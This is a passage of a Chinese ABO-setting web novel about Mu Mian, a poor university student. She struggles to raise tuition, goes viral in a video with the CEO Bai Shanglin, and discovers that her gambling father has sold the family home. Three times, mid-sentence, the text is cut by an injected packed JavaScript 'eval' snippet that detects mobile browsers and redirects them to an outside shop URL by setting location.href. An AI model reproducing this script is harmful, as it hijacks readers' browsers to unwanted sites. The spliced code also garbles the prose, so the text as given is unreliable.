他还以为老板对那个小姑娘不一样,如今看来是他想多了。 - 栽倒在宿舍小床上,木棉还是晕乎乎的,眼前一阵发黑。 她慢吞吞摁上后颈,确保抑制贴没问题后,才放松下来。 奇怪,她这两天这么虚吗? 释放一点信息素都头脑发晕。 她吸吸鼻子,只觉得自己身上全是柏商霖信息素的味道。 雪松的气息并不难闻,甚至有些清冷,夏天闻着很舒服。只是她有轻微的洁癖,不喜欢身上有陌生的味道。 虽然现在头还有些晕,木棉还是撑着劲冲了个澡。 直到身上干干净净的只有沐浴露的味道。 吹头发时,她看了眼手机,已经两点四十。 食堂肯定关门了。 木棉叹口气,给纪千柠发消息,问问他能不能帮她带个饼回来。 纪千柠迟迟没回复,估计又在哪里玩没看手机。 木棉躺床上一动不动,她现在累得不想出门。 片刻,她点进boss直骗,化食欲为悲愤,不再关注咕咕叫的肚子,根据上午筛选出来的合适岗位一一回复,约面。 很快,她就给自己安排上满当当的面试。 好歹完成了一件事,木棉心情好上几分。 叮咚,消息提示音响起。 木棉以为纪千柠回消息了,点开一看,却发现是班群消息,班长在群里通知大家交学费。 她算了下截止日期,还有五天。 五天内,她要凑够三千二百块钱。 木棉咬牙,想杀了她那个便宜爹的想法都有了。 安排好面试时间的喜悦也被突如其来的消息冲淡,木棉蜷在床上,双眼无神。 不到一个星期赚够三千多块钱,这几乎是个不可能完成的任务。 她想了想,私聊班长,却被告知无法延期。 如果交不上学费,她很有可能面临强制退学的风险,到时候毕业证也拿不到。 木棉咬唇,谢过对方,发自内心想念上辈子读大学的助学贷款制度。在校免息和极低的贷款利率,造福了无数贫穷大学生。 而在这里,交不上学费的话,只有退学一条路。 她不可能退学。 这个大学是原身辛辛苦苦考上的,她房间里现在还保存着高中的学习资料,能看出来是个很勤奋的小姑娘。 忽然,木棉想到了什么,快速用计算器算起来。 如果她这学期办理退宿,不住学校,就可以省下这学期的住宿费两千,只交学费。 学费三万八,她手里有三万七。也就是说,只用再凑一千块钱,她就不会被强制退学。 只是,不住校的话,她需要每天早晚通勤两小时…… 木棉脑子里的弦绷得很紧,不停抠手指,思来想去只有这个方法可行。通勤远点就远点了,好在这学期课少。 想到这,她立马在系统里申请退宿,等学院审核完,她就可以免交这学期的住宿费了。 现在,她只用想办法赚够一千块钱。 从三千多变成一千,少了三分之一,但还是很困难。 她的兼职都是月结,不可能提前预支。 ……等等,她手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127640|196160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里有一个日结工资的家教。 木棉双眼一亮,想了想,点开备注为“家教-小瑄家长”的聊天框。 问自己的老板提前预支工资,不是个好办法,甚至格外冒昧,有违她的处事原则,所以她迟迟没有打字。 一边是长期以来坚守的礼貌原则,一边是交不起学费退学的风险。 木棉格外煎熬。 她攥紧了手机,辗转反侧良久,终于还是在聊天框里敲下一段文字。 详细解释了自己的困境,表示想提前预支一个课时的工资,并承诺仍然会认真教小瑄,下一次的家教费用也可以打八折。 写完后,她手指悬在发送键上,反复抬起又落下,就是不敢摁下去。 时间静静流逝,木棉终于狠下心,闭眼发送。 看到聊天界面里出现长长一个绿框后,她不敢多看一眼,连忙选中聊天框,左划,不显示该消息。 发完,她就扔下手机,埋进被子里。 脸颊滚烫,任凭她贴上冰凉的床栏也无法降下温度。 她既期待消息,又害怕消息。 如此过去良久,手机却始终没有半点反应。 木棉知道这是婉拒的意思。 明明在意料之内,她却没忍住,闷闷流下泪来。 尴尬、窘迫、无助、难堪,种种情绪一股脑得出现,她泪流不止。 宿舍内静悄悄的。 她的室友有两个在外省实习,这学期不在校;还有一个请假在家,不清楚什么时候回学校。 或许因为屋里没人,看不到她狼狈的样子,木棉一直压抑的委屈和无助终于化做泪水,浸透了枕巾。 她抿着唇,胡乱擦掉不停往下掉的泪珠,蹭得眼尾通红,大拇指却不停摁着手机上的拨号键。 忙音—— 忙音—— 还是忙音—— 这个混蛋!!! 砰。 木棉一把把手机摔到床上。 不过几秒钟,她又心疼地捡起来,来来回回仔细检查,担心万一有个什么磕碰。 她现在根本换不起手机。 确定手机没问题,木棉静下来,一动不动呆坐在床上。 不知过去了多久,紧闭的宿舍门忽然响起敲门声。 有人在叫她。 “木棉,外面有人找你,你快出去看看!” 是隔壁宿舍的同学。 在她喊第二遍的时候,木棉清醒过来,应下,穿上鞋就往外面走。 手刚放到门把手上,她想起什么,连忙折回去,对着镜子理了理头发,用力擦掉不知道什么时候又糊满脸的泪水。 确定看不出什么异常后,她吸吸鼻子,使劲笑了两下,直到脸颊不再僵硬,才推开门走出宿舍楼。 刚到闸机门口,她就看到找她的人了。 是柏商霖身边的助理。 木棉疑惑,不知道他来找她做什么。 她揉揉眼,确保眼睛干干的,这才刷卡出门。 “温助理,是柏总有什么事吗?”这是她能想到的唯一可能。 温言一米七五往上,比她高一个头,木棉需要微微仰头看他。 温文尔雅的Beta摇摇头,稍稍后退半步,方便她。 他提起手里的袋子,晃了晃,温声解释:“这是柏总的一点心意。” 木棉愣住,迟钝接过,红红的鼻头衬得她更呆:“啊?就这些?” 温言疑惑地嗯了声,不太理解:“……就这些?” 慢半拍的,木棉反应过来自己刚刚的话有歧义,白净的脸颊飞速染上绯红,她急忙道谢,声音还染着方才的哭腔,有些哑:“我以为柏总有什么需要我做的事,没想到只是送谢礼。” 她礼貌道谢,顺便问了几句柏商霖的身体状况。 温言做事滴水不漏,表示多亏她,柏总身体好多了。 木棉只当他客气,说了几句便跟他告别。 临回去前,她颇为认真地注视温言,诚恳道谢:“多谢温助理,也帮我谢谢柏总,我……恰好需要。” 说完,她没敢看温言的反应,匆匆刷卡进了宿舍楼。 只觉脸颊烧红,生怕自己又开始泛起水光的双眼被人看到。 人真是奇怪,一个人时明明多大的委屈都可以受下。但一有人递出善意,轻声安抚几句,眼泪就止不住地往外流。 明明温言也没安慰她,但不知怎么的,木棉就是想哭。 粉发女孩的身影已经消失在闸机另一头,温言站在宿舍门口良久。 直到他听到周围有学生窃窃私语偷瞄他,他敛目,迈开长腿走向宿舍楼旁边停留的深黑色轿车。 柏商霖在车后座闭目养神。 温言坐进副驾驶,吩咐司机驶离,扭头禀报:“她托我谢谢您,她说她……恰好需要。” 想到女孩湿润的眼、泛红的鼻,温言沉吟片刻,又补了一句:“她似乎哭过……心情不太好。” 7. 视频 “……她似乎哭过,心情不太好。” 柏商霖闭着眼睛,一动不动,仿佛没有听到。 温言会意,转而说起刚收到的消息。 看来真是他多想了,老板怎么会对稚嫩的大学生妹妹感兴趣呢。 “警局的人传信,昨晚路上的钉子确实是有人故意放的。监控拍到了人,但他们戴着帽子口罩,分辨不清人脸。” “我安排人跟着一路查过去,发现他们最后去了一家便利店,跟任总身边的秘书见面。” 温言点到为止,话里的意思已经很明显了。 他屏息,等老板指示。 轿车平稳驶出学校。 此时,校门口还聚集着不少媒体,拿着摄像机拍来拍去。见柏氏的专车出来,更是一窝蜂涌上来,最后被保安尽数拦下。 柏商霖两手交叉,垂在大腿上,冷冷淡淡扫了眼车外闹哄哄的人。 眼前掠过几张眼熟的脸,是公司营销组对接过的媒体。 良久,他手指轻扣两下,并不意外:“任达欧那边呢?” “听说任总感冒了,正在住院,深居简出不让人打扰。”温言擦擦额头上不存在的汗,深吸一口气,“还有,他从分公司调来一个新人,担任营销组组长,任命文件今天上午十点刚刚下发。” “……营销组组长?”柏商霖挑了下眉,“爷爷同意了?” “是的,任命提前经过了董事会决议,董事长亲自点头通过。” 车内安静下来,温言大气不敢喘,暗自叫苦。 谁能想到任总直接找到董事长,要求换掉公司高层,关键董事长还同意了?! 而这个消息,他们的人却没有收到半点儿风声。 能做到这种程度,定然是董事长下的命令。 温言不禁想到前两天,董事长往柏总床上塞了两个Alpha,关门锁窗,让他们在里面整整呆了28个小时。 当他带人匆忙赶到时,那两个Alpha浑身是血,呼吸微弱,柏总更是神智不清。 事后,柏总大发雷霆,亲手把意图侵犯他的Alpha送进监狱,接连从董事长的人手里抢了三个项目,跟董事长针锋相对。 祖孙两人谁也不肯退让,集团动荡,惊动柏家一众亲系和董事会两边安抚,最后董事长放狠话:“不赶紧生出个Alpha,你就永远别想坐上我的位置!” 此时,正值董事长竞选的关键时期,柏总和任总分庭抗礼,董事长这样说是明晃晃的威胁。 柏总到底根基不稳,继续跟董事长相争伤敌八百自损一千,就此两人短暂和平相处。 想到这,温言更是暗暗叹气。 自从柏总分化成Omega,无论在柏家,还是集团,他都过得如履薄冰,奚落声从未消失过。 议论他Omega的身份,借此质疑他的能力,明里暗里让他赶紧结婚生个孩子,说什么偌大家业总归是要Alpha继承的…… 温言越想越远。 忽然,柏商霖嗤笑一声,脸上辨不出情绪:“看来,姑父对我拿了他的项目很不满意,爷爷也借此敲打我。” 温言骤然回神,不敢吭声。 “前任组长呢?” “肖组长替任总背了那么大一口黑锅,担上贪污受贿勾结营私的名声,恐怕下半辈子要在牢里过了,没人敢帮他。不过,任总安抚了他的家人,许诺会照顾她们后半生。” “他家里人同意了?” “是的,她们已经搬进任总空置的别墅了。” “也是个蠢的。”柏商霖嗤笑。 温言心里赞同,嘴上没敢多说。 “换就换吧,左不过一个营销组组长。”柏商霖看向窗外,目光遥遥落在飞速后移的树上,神情淡淡,“姑父生病住院,我这个做侄子的理应随份礼。” 过了好一会儿,柏商霖缓缓收回视线,摘下眼镜,捏了捏眉心,闭目平静道:“生病了就好好休息,项目的事不用他操心。” 温言呼吸一窒。 先前,柏总看在他姑姑的面子上,哪怕任总多次挑衅,也没有直接断他项目。现在,柏总恐怕是要彻底肃清他的人了。 温言在心里同情了任总一秒钟,惹谁不好,非要招惹柏总。 他应下:“明白,属下这就去办。” - 木棉提着满当当一袋子东西回到宿舍。 回来路上,她就闻到了里面的饭香。方才萎靡的精神也因为温助理这一打岔,好了许多。 坐下后,她一一拿出里面的保温餐盒。 ……有些眼熟。 包装盒上面印着“醉江澜”,是学校附近的一家高档餐厅。 巧的是,她上学期还在那里做过兼职。餐厅老板特别善良,知道她在找家教,特意帮忙推荐了他的朋友,也就是小瑄的家长。 通过这次机会,她才能拿到时薪一千的家教单子,直接减轻了她的经济重担。 她没想到,温助理买的餐品竟然是这家。 三菜一汤,外加一份甜品、一盒酸奶,都是她喜欢吃的。 木棉眨眨眼,愈发觉得温助理行事妥帖,极有分寸,不愧是能被总裁带在身边的贴身助理。 她吸吸鼻子,颇为虔诚地执筷,享受美食。 上辈子她喜欢烹饪、喜欢烘焙,还专门报了班学习,只是上班后工作太忙,亲手做饭成为一种奢侈。正因如此,对待美食她更是虔诚珍视,十分重视。 空荡荡的胃逐渐被食物填满,随之而来的,她的坏心情也被一一抚平。 慢吞吞吃完饭,木棉捡起放餐盒的袋子,准备把垃圾装进去。 刚拎起袋子,她发现袋子有点沉,像是里面还有什么东西。 她伸手掏了掏。 在袋子夹层里,她摸到一管药膏。 这是……跌打损伤药。 说明上写着可用于缓解踝关节扭伤导致的疼痛。 木棉愣住了,她下意识摸向自己的脚踝。 之前肿起来的地方已经消下去,只有按上去,才能感到一阵疼。 这是温助理放的,还是……柏商霖? 应该是温言吧,柏商霖冷冰冰的,怎么会注意到别人,何况这种小细节。 她在座位上发了会儿呆,有心想道谢,却发现没有他们任何一个人的联系方式。 木棉抿抿唇,乖乖在心里谢了几遍。 这也是她自己的社交规矩——别人释放善意,她要作出回应。 毕竟,她是个很有礼貌的Alpha。 道完谢,木棉肉眼可见地安下心,收拾好剩余的垃圾,她洗了把手,上床抹药。 清凉的薄荷味道顺着药膏飘出,沾上脚踝,带来一阵凉意。 不知怎么的,木棉反而想到了柏商霖身上的雪松气味。 一样的冷而淡,味道却要轻很多,好闻很多。 她眼前浮现出柏商霖蜷缩在讲台下的样子。 那样冷的一个人,陷入发情期却那么敏感。满脸红晕,淬冰的双眼融化开,软成一滩潮水。 很快,木棉唔了声,摸向后颈,摁住抑制贴,皱眉。 看来她的易感期是真的要来了。 只是帮Omega安抚了一下,她在乱想些什么? 强制清空脑袋,木棉专心擦药。 今天报道,学校没什么事,面试也都安排在明天,她打算小睡二十分钟,就回趟家看看那个混蛋回来没有,把钱要回来。如果他不敢回来,她也能顺便把宿舍里的行李带回去一部分,免得退宿的时候一次拿不了。 学院审核退宿申请估计还要几天,这段时间她还可以住在宿舍。 她想正式退宿后再搬回家。 谁知,刚定好闹钟闭上眼睛,手机就不停震动起来。 纪千柠终于看到消息,跟她解释:【棉!不好意思,我朋友来北江玩,我去机场接他们,一直忙到现在,我刚拿到手机。你现在应该吃上饭了吧,我回去给你带大蛋糕赔罪![可怜小猫跳跳]】 木棉无声笑了下,透过表情包几乎能想到他可怜巴巴的样子,她回他句“好的”。 附带一个同样的[可怜小猫跳跳]表情包。 对面没回复,木棉以为纪千柠又去忙了,便要退出微聊。 谁知下一秒,纪千柠突然发来好长一串感叹号。 柠檬不酸:【!!!!!!!!!!!!!!!】 柠檬不酸:【棉棉,你火了!!!】 接着,他甩来一条链接。 还不忘继续发感叹号:【视频已经一百万点赞了!!!】 木棉满脑袋问号点进去。 视频像是偷拍的,画面中央是熟悉的学校大礼堂后台。 摇摇晃晃的镜头下,柏商霖西装革履,出现在后台门口。 他左臂挂着西装外套,马甲不知所踪。 没了遮挡,暗色衬衫将他的臂膀和背肌完美勾勒,胸膛鼓鼓囊囊,分外慷慨。 木棉看到弹幕上全是“嘶哈嘶哈”“舔舔舔”“老公上我”的调调。 她继续往后看。 柏商霖眼神迷离,脸上泛起不正常的红晕,像喝醉了。 突然,他在门口停下,意识到里面有人在。 没有几秒,他伸指抬了抬镜框,抬腿离开。 恰在这时,屋里的人像是感觉到有人靠近,缓缓抬头。 一张白里透红的精致小脸突兀出现在镜头内,粉发雪肤,水灵灵的。 刚好接上了柏商霖转身的背影。 木棉啪得一声合上手机,脸上腾得燃起热意。 她已经知道这条视频是什么时候的了。 是她闻到柏商霖的信息素味道,抬头准备去找他的时候。 而柏商霖他,竟然也确确实实来过后台。 柠檬不酸:【看到没看到没!剪辑的人简直是个天才,那bgm响起,宿命感拉满!!!西装一角翩跹而起,皮鞋踩出沉闷的声响,稚嫩青涩的她无能为力,只能眼睁睁看着爱人离去……】 纪千柠看热闹不嫌事大,一个劲的给她发评论区的青春疼痛版热评。 木棉烧得慌,恨不得泡个冷水澡降降温。 天杀的,到底是什么人偷拍,还发到网上,简直社死! 玩笑归玩笑,纪千柠知道她性子,逗几句便算了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127641|196160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他知道木棉家里条件不好,便出谋划策:【棉棉,你要不注册个抖播账号,这可是天大的流量泼天的富贵啊!视频底下已经有人在问你的账号了。】 木棉有气无力,还在脚趾扣地建设城堡,慢吞吞回他:【还嫌我社会性死亡的不彻底是吧。】 柠檬不酸:【百万点赞诶,这流量起码赚了五位数。】 木棉眨眨眼,猛地坐起来:【夺少?】 纪千柠劈里啪啦打字,秒回:【我朋友就在做这个,偶尔拍点美妆视频,攒了一两万粉丝吧。只要视频播放量上来了,他就有钱拿,偶尔还能接个广告什么的。这个账号因为这条百万赞的视频,粉丝直接涨了一万,现在还在蹭蹭涨。】 【棉棉,这么大的流量你不去赚啊?来钱挺快的。】 木棉舔舔唇,可耻地心动了。 她现在真的很缺钱,自媒体收益似乎是棵救命稻草,是她五天内凑够钱的唯一方法。 纪千柠还在劝她,一会说广告费,一会说流量费。 被他嘴里一次性几百几千的收益刺激着,冲动之下,木棉直接注册了个新账号。 截图发给纪千柠,他高兴坏了,帮她起号。 木棉不懂这些,选择丢掉脑子和羞耻心,跟着执行。 她转发了原视频到自己账号,标题改成“我是视频里的女生。” 然后,她从相册里找出自己的证件照、学生证、校园卡,截出无美颜纯素颜的人像,组合成静态照片视频,最后一键上传。 柠檬不酸:【等着吧棉棉,很快,一生爱凑热闹的大学生就会找到你的账号,然后关注你。】 柠檬不酸:【苟富贵,勿相忘!!!】 木棉扑哧一声笑出来,莫名感到一阵轻松。 明明不确定新账号能不能赚到钱,木棉胸腔中却涌起一切向好的错觉。 她躺在床上,盯着天花板,幻想凑够钱后她要去做什么。 她想先租个小房子,买套厨具,再捡起烹饪这个爱好,说不定还能当个美食区博主呢。 叮咚—— 闹钟响起,将她从美梦中拉出。 木棉洗了把脸,三两下收拾好自己,拖着行李箱走出宿舍楼。 一路地铁转公交,下车后,天色已经开始变暗。 九月初,处在夏秋交界处。白日渐渐变短,夜晚来得更早,灰蒙蒙的暗蓝正在侵吞最后一抹晚霞。 坐车坐得腰疼,木棉伸了个懒腰,舒缓肌肉。 借着公交站台的灯光,她点开抖播,浏览自己的账号。 从发布到现在,已经过去两个多小时。 她转发的那条视频堪堪两百赞,评论区要么质疑她的真假,要么骂她蹭热度。至于那条新发的证件照视频,点赞只有几十个,播放量也少得可怜。 美梦就像阳光下的泡沫,一戳就破了。七零八落砸到地上,融进泥土里,消失不见。 一如木棉的心。 她慢吞吞往前走,胸口又酸又涨,脚尖胡乱扫开地上的石子。 缓了很久,她点开小地瓜,搜了下视频播放机制,经过评论区科普,才知道抖播的推流机制是跟钱挂钩的。 那条百万赞视频的出现,可能是运气好,也可能视频的主人投钱推流了。 看到这,木棉反倒没那么难过了。 她本来就是蹭的热度,又没钱推流,账号起不来也是正常的。 安慰完自己,木棉关掉手机,不愿再看。 一抬头,她愣住了。 不知不觉,她竟然又走到这里了——昨天晚上遇到柏商霖的地方。 不过一日过去,这里变化有些大。 停摆的施工设施重新运作起来,围栏上贴着正在施工的安全告示牌。 木棉走近,一眼注意到右下角落款的单位。 ——柏氏集团。 她恍然大悟。 难怪昨天晚上会在这样偏僻的地方遇到柏商霖,他应该是来工作的。 看着近乎翻天覆地变化的工地,木棉好奇搜了下。 这个项目在三年前被柏氏集团任达欧拿下,打算建成大型工厂,优化集团供应链。 然而整整三年,这块地皮来来回回换了好几个承包商,始终没看到什么成绩。集团资金供应没断,任总就这么拖着,直到柏商霖也盯上了这个项目。 他以雷霆手段质疑任达欧尸位素餐,勾结下游公司,吞没公司资产,将整个项目从他手里抢了过来。 就在今天,总公司派人整顿,先前闹事的居民、离奇的墓地谣言尽数消失,谴退、开除近百名员工,沉寂了三年的项目终于开始动工。 豪门争权夺利,屡见不鲜,木棉当个瓜吃。 多年前,任达欧和柏商霖的姑姑柏青潼结婚,入赘柏家。 不出一年,他成为柏氏集团的任总,背靠董事长支持,和柏商霖成分庭抗礼之势。 这董事长明明是柏商霖的亲爷爷,不帮自家孙子,反而去帮入赘进来的外人。 也是神奇。 木棉嘀咕了句。吃完瓜,她退出软件。 刚退出来,她就看到旁边的抖播上有99+的小红点。 8. 热评 99+的红点标志格外明显,点缀在图标右上角。 这是…… 木棉想到了什么,匆匆点进去。 消息太多,手机卡了一下。 因为紧张,她甚至点错了广告退出键,导致直接跳转第三方应用。 退出再重进,她终于点进个人主页。 只见屏幕右上角的粉丝数显示5233,并且数字还在往上跳。 刷新一次,数字又变成了5311。 从没见过如此大的阵仗,木棉愣住了。 她听到自己急促的心跳声,像是要撞出胸膛。 碎成稀巴烂的美梦泡泡重新粘合起来,变得更结实、更璀璨。 木棉手指都在颤抖。 她先清掉了新增粉丝的提示红点,点进先前发布的两条视频。 转发视频播放量已经破百万,后发布的原创视频播放量也有八十多万了。 评论区五花八门,八成都在夸她,甚至让她觉得像水军。 木棉兴奋得在原地蹦了两下。 不过瘾,又以百米冲刺的架势来回跑了两轮,跑得气喘吁吁。 她笑弯了眼,数着自己飞速增长的粉丝数,确定这不是美梦。 是现实。 她看到了钱!数不清的钱! 木棉高兴坏了,当即把这个好消息分享给纪千柠。 那边秒回,连续好几个感叹号,一个劲夸她指定能行! 木棉笑弯了眼。 但喜悦还在胸腔中跃动、挤压,她却再找不到人分享。 无法诉说,她就蹦蹦跳跳踩着路灯下自己的影子,自己讲给自己听。 终于跑累了,跳累了,木棉长舒一口气。 她挨个回复网友的评论。 有要衣服链接的,问化妆技巧的,还有单纯玩梗的。 木棉被网友们稀奇古怪的脑洞逗得哈哈大笑,笑得弯腰的刹那,她忽然意识到,原来这就是她想做的事。 ——在她的账号下,和很多很多人匿名交流。这样,不会面对面感受到即时的恶意,素未谋面的善意却会汹涌而来。 这一次,不再是被纪千柠推着走,木棉发自内心想运营好这个账号。 晚风吹过,扬起她额前粉色的碎发。 木棉抬手别了下,把第二条视频下的评论全都回复完,她点开自己转发的百万赞视频。 下面也有不少评论,和原创视频下的温和不同,这条视频的评论区要尖锐许多。热评第一则是问她,和视频开头的西装男A是什么关系,突然冒出来开新号是不是在炒作。 评论点赞量过千,下面不少追评加一的。 木棉眨眨眼,方才的兴奋一下子淡去,一盆冷水兜头泼下。 柏商霖…… 她竟然忘记了视频里另一个主人公。 那条百万点赞的视频热度很大一部分原因是柏商霖。 结实紧绷的肉.体,克制禁欲的西装制服,这些元素叠加在一起带来的冲击力比她要高得多,当时评论区百分之八十都在讨论西装男是谁。 随着视频发酵,有人扒出他是柏氏集团CEO柏商霖,连带着他最近在开学典礼上的演讲直播也火了一把,就连他们学校的官媒账号也因此多了大几千粉丝。 不过,柏商霖未曾制止,也没有出来说话,任由热度上涨。 她这时候注册账号,认领视频女主,无异于踩在柏商霖身上抢热度。 过高的道德感和常人无法理解的精神洁癖发作,木棉觉得柏商霖需要知道这件事,起码要知道她开的这个账号。 似乎只有他同意了,她的账号才清白。 忍着羞耻心,木棉把那条百万赞视频完完整整看了一遍。 里面只有她和柏商霖,哪怕实际上他们根本没有对视,但经过剪辑和配乐,宿命感丛生。 就像那条青春疼痛热评说的那样,柏商霖离开时,她恰好抬头看过去。 眼神茫然,看上去有些无助,bgm一响,瞬间勾起人的情绪。 木棉叹口气,脸颊习惯性鼓起。 要是有柏商霖的联系方式就好了,她可以问问他行不行,能不能接广。 那条百万赞视频热度这么高,他会不会刷到?也不知道柏氏集团的总裁,会不会介意被人发到网上肆意评论。 木棉划到消息栏,看到上面的广告邀请,犹豫了一下,还是没有回复。 再等两天吧。 一路胡思乱想,她终于走到小区楼下。 楼前停着辆面包车,一个中介打扮的人和一男一女两人站在车外,絮叨着什么。 她家是个老破小区,住户基本都是老人,很少有外人出现。 甫一看到陌生的新面孔,木棉多打量几眼,但也没在意,礼貌借过,慢悠悠爬上六楼。 拿钥匙开门,便宜父亲果然不在。 屋内清冷得有些过头。 木棉僵在门口。 客厅的沙发、茶几都不见了,电视、空调也无影无踪。 巨大的恐慌包裹住她。 她踉跄着进门,匆匆走过每间屋子,发现家里稍微值点钱的家具全都不见了。 就连她房间里的床和衣柜,也都不见了。 一个恐怖的想法在脑海中出现,木棉猛得摇头,将它驱逐出去,不敢再想。 不可能,他不可能这么做。没有这套房子,他还怎么约会其他的Omega或Alpha? 木棉觉得离谱。 她抖着手拨打他的电话,无一例外,又是阵阵忙音。 豆大的泪珠不受控制自眼底滚落,她瘪瘪嘴,无声擦掉。 忽然,门外响起钥匙碰撞的声音,格外清脆。 木棉怔住,茫然擦干净眼泪。 不等她过去,房门已经被人从外面推开。刚在楼下碰到的三人出现在门口。 “……你谁啊?这房子里怎么还有人?”中介打扮的男人开口。 对上堂而皇之进来的三人,木棉更加茫然:“这是我家,你们是谁?为什么会有我家的钥匙?” 中介一怔,接着反应过来:“哦,你就是房主说的小孩。他已经把这个房子卖了,你不知道?我领着人来看房呢,你既然来了,就赶紧把你的东西搬走。” “……卖了?” 中介上下扫了她一眼,见她年纪小,长得也可爱,不禁多说了几句:“房主欠了很多钱,卖房填窟窿呢。你是他女儿?要是能跑的话,早点跑吧,赌鬼发起疯来正常人拦不住。” 说完,他没再管木棉,却也没赶她走,跟身后两人解释了几句,就带他们看房。 三个陌生人在她家里旁若无人地闲逛,随意点评这套房子的装修和位置好坏。 木棉却一句阻止的话都说不出来,蹲在空荡荡的地板上,呆呆看着中介领着那二人看房。 她刚刚检查过中介拿的手续和证明,她父亲确实把房子卖了。 木棉想笑,又笑不出来。 她怎么这么倒霉,下午刚提交了退宿申请,晚上回来家里仅剩的房子没了。等她急急忙忙进系统看时,发现向来拖延的学院半小时前通过了审核。 一下午过去,她就变成无家可归的孤儿了。 木棉目光呆滞,愣愣看他们看房子。 他们应该是一对父女,女孩在附近工作,父亲舍不得她通勤太久,想给她在周边买套房子,于是看中了这套。 他们看起来很满意,连连说了好几句“干净”“阳光好”。 她心里发酸,又有些羡慕。 眼前飘起一团团白雾,糊在眼前,她什么都看不清了。脑子也嗡嗡的,像有个大摆锤在猛击她的太阳穴,哐哐哐得发疼。 木棉双手环抱膝盖,向来软绵绵甜笑的圆脸皱成小苦瓜。 这下好了,别说她那三千二百块钱了,就是这套房子也没了。 蹲了很久,蹲到腿开始发麻,崴到的脚踝隐隐作痛。 木棉站起身,面无表情擦掉眼眶里的潮湿,走到即将不属于她的房间里。 空旷的房间内,只有一摊乱糟糟的衣服和一只孤零零的铁盒。 还有她留在家里、空置的行李箱。 木棉想到自己拖着行李箱回来、又要拖着两个行李箱回去,她就想笑。 在门口发了会儿神,她捡起被随意扔到地上的铁盒。 那个混蛋把这间屋子里所有值钱的东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127642|196160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西都清空了,唯独舍掉了这个看起来毫无价值的铁盒。 可对于原身来说,它或许才是真正的无价之宝。 木棉擦掉铁盒上的灰尘,打开检查了一遍,确保没丢什么东西后,她重新合上。 再捡起衣服,一一叠好,放进行李箱。她衣服不多,一个行李箱勉强放下。 把铁盒塞进衣服里面裹好,木棉扣上。 安静在屋里站了会儿,她有些茫然,不知道该去哪。 现在已经八点二十,等她回到学校,宿舍早就关门了。更何况,她的退宿申请通过了,宿舍估计也住不了两天。 客厅里响起那对父女的交谈声,他们已经和中介谈好价格,正在签合同。 木棉抿抿唇,面色犹豫。 很快,他们结束交谈。 悉悉索索的衣料摩擦声响起,似乎准备离开。 木棉不敢再拖下去,草草拟了遍腹稿,她冲出房间门。 “等、等等。”她鼓起勇气,脸颊发烫。 三人齐齐停下,转头,目光都落在她身上。 木棉浑身发热,手心也在冒汗,心知自己的要求有些过分。 她不好意思抬头看他们,盯着地板,只小声道:“你们打算什么时候搬过来呀?是这样的,我先前不知道他把房子卖了,没提前找房子,现在没有住的地方……” 越说她音量越低,越没有底气。 迟迟没有听到回应,木棉咬住唇,补充:“不方便的话也没关系,我晚上收拾好东西就走。” “你住吧。”突然,看房时一直很文静的女儿出声,打断了她,“我租的房子还有半个月到期,这段时间你可以先住着。不过,我偶尔会过来置办家具,可能会有些吵,你不介意就行。” 木棉猛地抬头,双眼亮晶晶,满脸感激:“用不了这么久,我就住今天一晚上。”她不愿意麻烦别人,今晚住在这是迫不得已,哪有占上半个月的道理。 “谢谢你,姐姐。”她真诚道谢。 女孩软绵绵笑起来,一双圆眼弯成弦月,右脸露出漂亮的小梨涡,让人忍不住心生好感。 见此,方才想阻止女儿的父亲不忍摇头,没再说话,带着女儿跟中介离开了房子。 “你啊,就是喜欢发善心,万一她占着房子不走了怎么办?” “不会的爸爸,她就是个小妹妹,遇上那么个不靠谱的爹,已经够倒霉了……” 木棉关门的手顿住。 再回神时,她感到脸上凉凉的,摸了一把,才发现自己又哭了。 面对陌生人的善意,她没绷住。蹲下身,无力靠在门上,埋进胳膊里,闷闷流泪。 她上辈子哭的次数加在一起,都没有这两天多。 不知哭了多久,等她哭累了,胳膊早已湿漉漉,膝盖也被泪水湿透。 木棉没什么反应。 她去洗了个热水澡,换上睡衣。 卧室里没有床,好在现在才九月,晚上也不冷。 木棉从行李箱里拿出两件冬天衣服,一件垫在身下,一件盖在身上,就这么蜷缩在墙角。 抱怨没有用,当务之急是解决问题。 木棉抹了两把脸,拨打警局电话。 警局24小时值班,电话很快接通,木棉听到自己平静地要求报案。 ——报的是失踪案。 她生物学意义上的父亲平白无故联系不上,偷了她的钱,卖了家里的房子,她总得要个说法吧。 木棉攥紧手机,听到电话那边“已经备案”后,她缓缓松开手,挂断了电话。 虽然报了案,但她没报太大希望。 她只是觉得,自己要做点什么,必须得做点什么,不然她会崩溃。 窝在墙角的女孩缩成小小一团,像只无家可归的流浪猫。 挂断电话后,她又不知道该做什么了。 手机时不时响起,这是她今晚上给自己的抖播账号专门设置的消息提示音。 